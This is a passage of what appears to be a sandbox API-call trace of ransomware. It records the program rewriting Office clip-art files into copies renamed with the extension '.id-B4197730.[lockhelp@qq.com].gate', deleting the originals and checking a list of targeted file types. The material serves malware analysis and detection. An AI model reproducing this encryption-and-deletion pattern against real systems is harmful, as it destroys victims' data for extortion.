Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0285.033] GetLastError () returned 0x0 [0285.033] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x3896, lpOverlapped=0x0) returned 1 [0285.323] WriteFile (in: hFile=0x404, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x38a0, lpOverlapped=0x0) returned 1 [0285.324] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.324] WriteFile (in: hFile=0x404, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.324] SetEndOfFile (hFile=0x404) returned 1 [0285.324] CloseHandle (hObject=0x404) returned 1 [0285.325] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.325] SetEndOfFile (hFile=0x4b4) returned 1 [0285.328] CloseHandle (hObject=0x4b4) returned 1 [0285.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0285.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0285.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0285.329] lstrlenW (lpString=".doc") returned 4 [0285.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.329] lstrlenW (lpString=".docx") returned 5 [0285.329] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.329] lstrlenW (lpString=".pdf") returned 4 [0285.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.329] lstrlenW (lpString=".xls") returned 4 [0285.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.329] lstrlenW (lpString=".xlsx") returned 5 [0285.329] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.329] lstrlenW (lpString=".ppt") returned 4 [0285.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0285.330] lstrlenW (lpString=".zip") returned 4 [0285.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.330] lstrlenW (lpString=".rar") returned 4 [0285.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.330] lstrlenW (lpString=".bz2") returned 4 [0285.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.330] lstrlenW (lpString=".7z") returned 3 [0285.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0285.330] lstrlenW (lpString=".dbf") returned 4 [0285.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0285.330] lstrlenW (lpString=".1cd") returned 4 [0285.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0285.330] lstrlenW (lpString=".jpg") returned 4 [0285.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0285.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0285.330] lstrlenW (lpString=".doc") returned 4 [0285.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.330] lstrlenW (lpString=".docx") returned 5 [0285.330] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.331] lstrlenW (lpString=".pdf") returned 4 [0285.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.331] lstrlenW (lpString=".xls") returned 4 [0285.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.331] lstrlenW (lpString=".xlsx") returned 5 [0285.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.331] lstrlenW (lpString=".ppt") returned 4 [0285.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0285.331] lstrlenW (lpString=".zip") returned 4 [0285.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.331] lstrlenW (lpString=".rar") returned 4 [0285.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.331] lstrlenW (lpString=".bz2") returned 4 [0285.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.331] lstrlenW (lpString=".7z") returned 3 [0285.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0285.331] lstrlenW (lpString=".dbf") returned 4 [0285.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0285.331] lstrlenW (lpString=".1cd") returned 4 [0285.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0285.331] lstrlenW (lpString=".jpg") returned 4 [0285.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.332] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.332] lstrlenW (lpString="BL00045_.WMF") returned 12 [0285.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0285.332] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=7862) returned 1 [0285.332] CloseHandle (hObject=0x4b4) returned 1 [0285.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220 [0285.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0285.333] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.333] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0285.334] GetLastError () returned 0x0 [0285.334] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1eb6, lpOverlapped=0x0) returned 1 [0285.452] WriteFile (in: hFile=0x404, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1ec0, lpOverlapped=0x0) returned 1 [0285.453] ReadFile (in: hFile=0x4b4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.453] WriteFile (in: hFile=0x404, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.453] SetEndOfFile (hFile=0x404) returned 1 [0285.453] CloseHandle (hObject=0x404) returned 1 [0285.454] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.454] SetEndOfFile (hFile=0x4b4) returned 1 [0285.456] CloseHandle (hObject=0x4b4) returned 1 [0285.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0285.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0285.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0285.457] lstrlenW (lpString=".doc") returned 4 [0285.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.457] lstrlenW (lpString=".docx") returned 5 [0285.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.457] lstrlenW (lpString=".pdf") returned 4 [0285.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.457] lstrlenW (lpString=".xls") returned 4 [0285.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.457] lstrlenW (lpString=".xlsx") returned 5 [0285.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.458] lstrlenW (lpString=".ppt") returned 4 [0285.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0285.458] lstrlenW (lpString=".zip") returned 4 [0285.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.458] lstrlenW (lpString=".rar") returned 4 [0285.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.458] lstrlenW (lpString=".bz2") returned 4 [0285.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.458] lstrlenW (lpString=".7z") returned 3 [0285.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0285.458] lstrlenW (lpString=".dbf") returned 4 [0285.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0285.458] lstrlenW (lpString=".1cd") returned 4 [0285.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0285.458] lstrlenW (lpString=".jpg") returned 4 [0285.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0285.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0285.458] lstrlenW (lpString=".doc") returned 4 [0285.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.458] lstrlenW (lpString=".docx") returned 5 [0285.458] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.458] lstrlenW (lpString=".pdf") returned 4 [0285.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.458] lstrlenW (lpString=".xls") returned 4 [0285.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.458] lstrlenW (lpString=".xlsx") returned 5 [0285.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.459] lstrlenW (lpString=".ppt") returned 4 [0285.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0285.459] lstrlenW (lpString=".zip") returned 4 [0285.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.459] lstrlenW (lpString=".rar") returned 4 [0285.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.459] lstrlenW (lpString=".bz2") returned 4 [0285.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.459] lstrlenW (lpString=".7z") returned 3 [0285.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0285.459] lstrlenW (lpString=".dbf") returned 4 [0285.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0285.459] lstrlenW (lpString=".1cd") returned 4 [0285.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0285.459] lstrlenW (lpString=".jpg") returned 4 [0285.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.459] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.459] lstrlenW (lpString="BL00130_.WMF") returned 12 [0285.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0285.588] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=1464) returned 1 [0285.588] CloseHandle (hObject=0x3d0) returned 1 [0285.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220 [0285.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0285.591] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.591] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0285.618] GetLastError () returned 0x0 [0285.618] ReadFile (in: hFile=0x3d0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x5b8, lpOverlapped=0x0) returned 1 [0285.694] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x5c0, lpOverlapped=0x0) returned 1 [0285.694] ReadFile (in: hFile=0x3d0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.694] WriteFile (in: hFile=0x418, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.695] SetEndOfFile (hFile=0x418) returned 1 [0285.695] CloseHandle (hObject=0x418) returned 1 [0285.695] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.696] SetEndOfFile (hFile=0x3d0) returned 1 [0285.698] CloseHandle (hObject=0x3d0) returned 1 [0285.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0285.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0285.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0285.699] lstrlenW (lpString=".doc") returned 4 [0285.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.699] lstrlenW (lpString=".docx") returned 5 [0285.699] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.699] lstrlenW (lpString=".pdf") returned 4 [0285.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.699] lstrlenW (lpString=".xls") returned 4 [0285.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.699] lstrlenW (lpString=".xlsx") returned 5 [0285.699] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.699] lstrlenW (lpString=".ppt") returned 4 [0285.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0285.699] lstrlenW (lpString=".zip") returned 4 [0285.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.699] lstrlenW (lpString=".rar") returned 4 [0285.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.699] lstrlenW (lpString=".bz2") returned 4 [0285.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.699] lstrlenW (lpString=".7z") returned 3 [0285.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0285.699] lstrlenW (lpString=".dbf") returned 4 [0285.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0285.699] lstrlenW (lpString=".1cd") returned 4 [0285.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0285.699] lstrlenW (lpString=".jpg") returned 4 [0285.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0285.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0285.699] lstrlenW (lpString=".doc") returned 4 [0285.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.700] lstrlenW (lpString=".docx") returned 5 [0285.700] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.700] lstrlenW (lpString=".pdf") returned 4 [0285.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.700] lstrlenW (lpString=".xls") returned 4 [0285.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.700] lstrlenW (lpString=".xlsx") returned 5 [0285.700] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.700] lstrlenW (lpString=".ppt") returned 4 [0285.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0285.700] lstrlenW (lpString=".zip") returned 4 [0285.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.700] lstrlenW (lpString=".rar") returned 4 [0285.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.700] lstrlenW (lpString=".bz2") returned 4 [0285.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.700] lstrlenW (lpString=".7z") returned 3 [0285.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0285.700] lstrlenW (lpString=".dbf") returned 4 [0285.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0285.700] lstrlenW (lpString=".1cd") returned 4 [0285.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0285.700] lstrlenW (lpString=".jpg") returned 4 [0285.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.700] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.701] lstrlenW (lpString="BL00195_.WMF") returned 12 [0285.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0285.764] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=8070) returned 1 [0285.764] CloseHandle (hObject=0x3d0) returned 1 [0285.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x220 [0285.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0285.764] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.765] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 